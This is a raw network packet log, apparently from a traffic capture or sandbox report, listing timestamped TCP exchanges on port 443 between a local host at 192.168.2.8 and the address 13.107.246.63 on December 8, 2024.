Dec 8, 2024 10:48:26.855084896 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.855109930 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.855179071 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.855191946 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.918720961 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.922477007 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.922523975 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.922543049 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.922559023 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.922624111 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.924289942 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.924308062 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.924319983 CET	49869	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.924324989 CET	443	49869	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.927567005 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.927587032 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:26.927639008 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.927844048 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:26.927856922 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.602384090 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.602679014 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.602897882 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.602912903 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.603013992 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.603044987 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.603502035 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.603513956 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.603717089 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.603741884 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.604120970 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.604129076 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.604475021 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.604501963 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.604912996 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.604917049 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.605195045 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.605216026 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.605545044 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.605559111 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.643074989 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.643496037 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.643517017 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:28.643968105 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:28.643973112 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.035444021 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.035590887 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.035604954 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.036778927 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.036859035 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.036947012 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.036990881 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.037013054 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.037024021 CET	49872	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.037029982 CET	443	49872	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.038839102 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.038911104 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039005041 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039005041 CET	49870	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039032936 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039042950 CET	443	49870	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039190054 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039242029 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039331913 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039360046 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039410114 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039680958 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039717913 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039733887 CET	49873	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039746046 CET	443	49873	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.039887905 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.039901018 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.040036917 CET	49871	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.040041924 CET	443	49871	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.042045116 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.042079926 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.042299986 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.042722940 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.042748928 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.042943954 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043162107 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043179035 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.043355942 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043369055 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.043494940 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043529987 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.043629885 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043689013 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.043703079 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.044642925 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.044652939 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.044938087 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.044986963 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.044996023 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.076699018 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.079982996 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.082516909 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.082516909 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.082581043 CET	49874	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.082604885 CET	443	49874	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.085807085 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.085838079 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:29.085980892 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.086086035 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:29.086097956 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.791388035 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.792047977 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.792073011 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.792243958 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.792293072 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.792783022 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.792793989 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.792824030 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.792828083 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.793128014 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.793148994 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.793456078 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.793462038 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.793642044 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.793659925 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.846252918 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.846851110 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.846877098 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.847518921 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.847524881 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.911377907 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.913486958 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.913511038 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:30.914232016 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:30.914247036 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.240633011 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.240634918 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.240705967 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.240706921 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.240784883 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.240784883 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.240983009 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.240997076 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.241013050 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.241013050 CET	49876	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.241013050 CET	49878	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.241019011 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.241025925 CET	443	49876	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.241029024 CET	443	49878	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.244052887 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244086027 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244093895 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.244112015 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.244216919 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244218111 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244405031 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244415045 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.244458914 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.244467020 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.278642893 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.279485941 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.279552937 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.279594898 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.279726028 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.279726028 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.280436993 CET	49875	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.280463934 CET	443	49875	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.281708956 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.286581039 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286598921 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.286623955 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286662102 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286662102 CET	49877	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286678076 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.286689043 CET	443	49877	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.286705017 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286900997 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.286907911 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.289002895 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.289026022 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.289190054 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.291338921 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.291346073 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.347284079 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.347410917 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.347609043 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.347609043 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.347635984 CET	49879	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.347655058 CET	443	49879	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.350235939 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.350265980 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:31.350467920 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.350533009 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:31.350541115 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.976613998 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.976790905 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.977247000 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:32.977268934 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.977298021 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:32.977319956 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.977982998 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:32.977993011 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:32.978351116 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:32.978358030 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.018609047 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.019130945 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.019160986 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.019792080 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.019821882 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.019825935 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.020257950 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.020273924 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.020675898 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.020680904 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.066365004 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.069058895 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.069097042 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.069976091 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.069981098 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.409780025 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.410964012 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.411039114 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.411118984 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.411269903 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.411269903 CET	49880	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.411290884 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.411298990 CET	443	49880	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.413717031 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.413853884 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.413853884 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.413984060 CET	49881	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.413997889 CET	443	49881	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.414438963 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.414496899 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.414602041 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.414747000 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.414762974 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.416651011 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.416687012 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.417706013 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.417907000 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.417918921 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.452214003 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.452941895 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.452966928 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.453022957 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.453072071 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.453083038 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.453238964 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.453258038 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.453282118 CET	49883	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.453288078 CET	443	49883	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.455148935 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.455260038 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.455310106 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.455334902 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.455349922 CET	49882	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.455355883 CET	443	49882	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.457139015 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.457192898 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.457271099 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.457668066 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.457683086 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.460777044 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.460808992 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.461060047 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.461061001 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.461086035 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.499800920 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.502978086 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.503113985 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.503113985 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.503168106 CET	49884	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.503186941 CET	443	49884	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.506072044 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.506113052 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:33.506186962 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.506321907 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:33.506334066 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.131614923 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.132145882 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.132172108 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.134566069 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.134579897 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.137001991 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.137846947 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.137847900 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.137873888 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.137892008 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.178900003 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.178913116 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.179423094 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.179428101 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.179451942 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.179464102 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.179898024 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.179905891 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.180108070 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.180119038 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.220093012 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.220592976 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.220602989 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.221066952 CET	49889	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.221072912 CET	443	49889	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.565155029 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.568995953 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.569125891 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.569125891 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.570559978 CET	49886	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.570581913 CET	443	49886	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.570636034 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.572002888 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.572048903 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.572276115 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.572307110 CET	49890	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.572314024 CET	443	49890	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.574426889 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.574553967 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.574553967 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.574594975 CET	49885	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.574611902 CET	443	49885	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.577197075 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.577230930 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.577399969 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.577399969 CET	49891	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.577430010 CET	443	49891	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.612251997 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.613436937 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.613466024 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.613574028 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.613596916 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.613850117 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.613850117 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.613858938 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.614049911 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.614082098 CET	443	49887	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.614141941 CET	49887	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.615957022 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.616000891 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.616027117 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.616133928 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.616420031 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.616436005 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.616460085 CET	49888	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:35.616465092 CET	443	49888	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:35.616898060 CET	49892	443	192.168.2.8	13.107.246.63
